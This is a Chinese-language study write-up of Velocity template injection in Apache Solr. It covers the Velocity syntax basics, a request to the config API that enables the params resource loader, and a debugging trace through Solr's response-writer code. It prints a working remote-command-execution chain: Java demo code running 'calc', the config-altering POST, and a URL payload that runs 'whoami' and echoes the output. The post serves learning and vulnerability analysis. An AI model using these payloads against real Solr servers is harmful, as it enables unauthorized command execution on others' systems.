从Apache Solr 看 Velocity 模板注入
前言
学过 freemaker,学过 Thymeleaf 模板注入,但是还没有学过 Velocity 模板注入,然后学习一个知识最好的方法就是要找一个实际中的例子去学习,好巧不巧,前端时间还在分析 apache solr 的 cve,这次又搜到了 Apache Solr 的 Velocity 模板注入漏洞,开始学习,启动,感觉结合一个例子来学,学得还是比较理解到的
Velocity 模板注入基础
首先搭建一个环境,因为这样边写边学才能学得更快
Pom.xml 文件
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>velocity</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.0</version>
</dependency>
</dependencies>
</project>
直接复制粘贴就 ok
#和$和set
#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。 $用来标识一个变量,比如模板文件中为
Hello $a`,可以获取通过上下文传递的$ a
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
public class Test {
public static void main(String[] args) {
Velocity.init();
String templateString ="#set($a = \"ooyywwll\")" +
"Hello $a";
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "test", templateString);
System.out.println(writer.toString());
}
}
输出 Hello ooyywwll
获取属性
paylaod 改为 `#set($e="e")
$e.getClass()
输出 class java.lang.String
当然还有.的这种形式
context.put("user", new User("aaaa"));
hello, $user.name!
输出 hello, $user.aaaa!
执行恶意命令
看下面的一个例子
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
public class Test {
public static void main(String[] args) {
Velocity.init();
String templateString ="#set($e=\"e\")\n" +
"$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "test", templateString);
System.out.println(writer.toString());
}
}
其实和我们的 spel 表达式几乎没有区别
开启配置
因为需要模板注入,还需要在配置文件中设置一下
在官方文档中搜寻一下,如何修改配置,或者看一些文章
参考https://blog.csdn.net/zteny/article/details/51868764
SolrConfigHandler提供一个实时且动态的获取和更新 solrconfig.xml 配置的功能。其实这么说并不准确,但可以先这么理解。因为 SolrConfigHandler 并没有直接更新 solrconfig.xml,而且是在 zookeeper 中的 solrconfig.xml 同目录下生成一个 configoverlay.json 文件用于存储更新配置项。格式当然是 json 了啦。
SolrConfigHandler 主要提供两个功能,查询配置信息和更改配置信息。对应 SolrConfigHandler 也是非常清晰,获取配置信息用 METHOD.GET,而更改配置信息用的是 METHOD.POST
所以我们就需要使用 METHOD.POST 方法去修改配置
可以发送如下的请求
POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Length: 259
Cache-Control: max-age=0
Origin: http://192.168.177.146:8983
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.177.146:8983/solr/demo/config
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
然后我们再次使用获取配置信息用 METHOD.GET
可以看到,params.resource.loader.enabled
已经开启
这个的调试分析就算了,因为重点是学习模板注入
模板注入调试分析
按照模板注入的特点,我们可以全局查找一下 template.merge
是否存在模板注入
可以看见是可能存在模板注入的
这里给出 paylaod
方便调试分析
http://192.168.177.146:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
这个 paylaod 的复杂点在于获取命令执行后的回显,如果只执行命令的话是比较简单的
首先需要明确一点,渲染模板是用来回显的,至于 apache solr 的基本流程,以前的文章已经说过了,而且网上也很多,核心就是模板渲染是为了回显的,所以我们关注代码的时候,也是重点关注生成响应的代码
call:558, HttpSolrCall (org.apache.solr.servlet)
决定了我们这次请求的类型
switch (action) {
case ADMIN:
handleAdminRequest();
return RETURN;
case REMOTEQUERY:
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));
remoteQuery(coreUrl + path, resp);
return RETURN;
case PROCESS:
final Method reqMethod = Method.getMethod(req.getMethod());
HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);
// unless we have been explicitly told not to, do cache validation
// if we fail cache validation, execute the query
if (config.getHttpCachingConfig().isNever304() ||
!HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {
SolrQueryResponse solrRsp = new SolrQueryResponse();
/* even for HEAD requests, we need to execute the handler to
* ensure we don't get an error (and to make sure the correct
* QueryResponseWriter is selected and we get the correct
* Content-Type)
*/
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));
execute(solrRsp);
if (shouldAudit()) {
EventType eventType = solrRsp.getException() == null ? EventType.COMPLETED : EventType.ERROR;
if (shouldAudit(eventType)) {
cores.getAuditLoggerPlugin().doAudit(
new AuditEvent(eventType, req, getAuthCtx(), solrReq.getRequestTimer().getTime(), solrRsp.getException()));
}
}
HttpCacheHeaderUtil.checkHttpCachingVeto(solrRsp, resp, reqMethod);
Iterator<Map.Entry<String, String>> headers = solrRsp.httpHeaders();
while (headers.hasNext()) {
Map.Entry<String, String> entry = headers.next();
resp.addHeader(entry.getKey(), entry.getValue());
}
QueryResponseWriter responseWriter = getResponseWriter();
if (invalidStates != null) solrReq.getContext().put(CloudSolrClient.STATE_VERSION, invalidStates);
writeResponse(solrRsp, responseWriter, reqMethod);
}
return RETURN;
default: return action;
}
}
这里是 PROCESS,然后很明显的构造请求的方法是 writeResponse
但是前面的参数也是很重要的
我们的输入都存储在
SolrQueryResponse solrRsp = new SolrQueryResponse();
/* even for HEAD requests, we need to execute the handler to
* ensure we don't get an error (and to make sure the correct
* QueryResponseWriter is selected and we get the correct
* Content-Type)
*/
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));
进入writeResponse 方法
private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)
throws IOException {
try {
Object invalidStates = solrReq.getContext().get(CloudSolrClient.STATE_VERSION);
//This is the last item added to the response and the client would expect it that way.
//If that assumption is changed , it would fail. This is done to avoid an O(n) scan on
// the response for each request
if (invalidStates != null) solrRsp.add(CloudSolrClient.STATE_VERSION, invalidStates);
// Now write it out
final String ct = responseWriter.getContentType(solrReq, solrRsp);
// don't call setContentType on null
if (null != ct) response.setContentType(ct);
if (solrRsp.getException() != null) {
NamedList info = new SimpleOrderedMap();
int code = ResponseUtils.getErrorInfo(solrRsp.getException(), info, log);
solrRsp.add("error", info);
response.setStatus(code);
}
if (Method.HEAD != reqMethod) {
OutputStream out = response.getOutputStream();
QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
}
//else http HEAD request, nothing to write out, waited this long just to get ContentType
} catch (EOFException e) {
log.info("Unable to write response, client closed connection or we are shutting down", e);
}
}
可以看到获取了 ContentType,请求的方法,请求的输出
此时的响应还没有完全形成
因为这只是最基本的响应,后面还需要渲染,而我们输入的参数就决定了如何渲染,处理是在
QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
public static void writeQueryResponse(OutputStream outputStream,
QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,
SolrQueryResponse solrResponse, String contentType) throws IOException {
if (responseWriter instanceof BinaryQueryResponseWriter) {
BinaryQueryResponseWriter binWriter = (BinaryQueryResponseWriter) responseWriter;
binWriter.write(outputStream, solrRequest, solrResponse);
} else {
OutputStream out = new OutputStream() {
@Override
public void write(int b) throws IOException {
outputStream.write(b);
}
@Override
public void flush() throws IOException {
// We don't flush here, which allows us to flush below
// and only flush internal buffers, not the response.
// If we flush the response early, we trigger chunked encoding.
// See SOLR-8669.
}
};
Writer writer = buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));
responseWriter.write(writer, solrRequest, solrResponse);
writer.flush();
}
}
这段代码的主要功能是将查询响应结果写入输出流
然后进入 responseWriter.write 方法
这里我们的 responseWriter 是 VelocityResponseWriter
当然这样的流还有很多
主要和我们的输入有关系
protected QueryResponseWriter getResponseWriter() {
String wt = solrReq.getParams().get(CommonParams.WT);
if (core != null) {
return core.getQueryResponseWriter(wt);
} else {
return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,
SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
}
}
我们的 paylaod wt 是等于 velocity
public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
VelocityEngine engine = createEngine(request); // TODO: have HTTP headers available for configuring engine
Template template = getTemplate(engine, request);
VelocityContext context = createContext(request, response);
context.put("engine", engine); // for $engine.resourceExists(...)
String layoutTemplate = request.getParams().get(LAYOUT);
boolean layoutEnabled = request.getParams().getBool(LAYOUT_ENABLED, true) && layoutTemplate != null;
String jsonWrapper = request.getParams().get(JSON);
boolean wrapResponse = layoutEnabled || jsonWrapper != null;
// create output
if (!wrapResponse) {
// straight-forward template/context merge to output
template.merge(context, writer);
}
else {
// merge to a string buffer, then wrap with layout and finally as JSON
StringWriter stringWriter = new StringWriter();
template.merge(context, stringWriter);
if (layoutEnabled) {
context.put("content", stringWriter.toString());
stringWriter = new StringWriter();
try {
engine.getTemplate(layoutTemplate + TEMPLATE_EXTENSION).merge(context, stringWriter);
} catch (Exception e) {
throw new IOException(e.getMessage());
}
}
if (jsonWrapper != null) {
for (int i=0; i<jsonWrapper.length(); i++) {
if (!Character.isJavaIdentifierPart(jsonWrapper.charAt(i))) {
throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "Invalid function name for " + JSON + ": '" + jsonWrapper + "'");
}
}
writer.write(jsonWrapper + "(");
writer.write(getJSONWrap(stringWriter.toString()));
writer.write(')');
} else { // using a layout, but not JSON wrapping
writer.write(stringWriter.toString());
}
}
}
可以发现是在这里渲染的模板,
最后
也是才开始学习这个模板注入,分析了这个 cve 后,对大概的挖掘流程和解析流程还是比直接看学得好了一点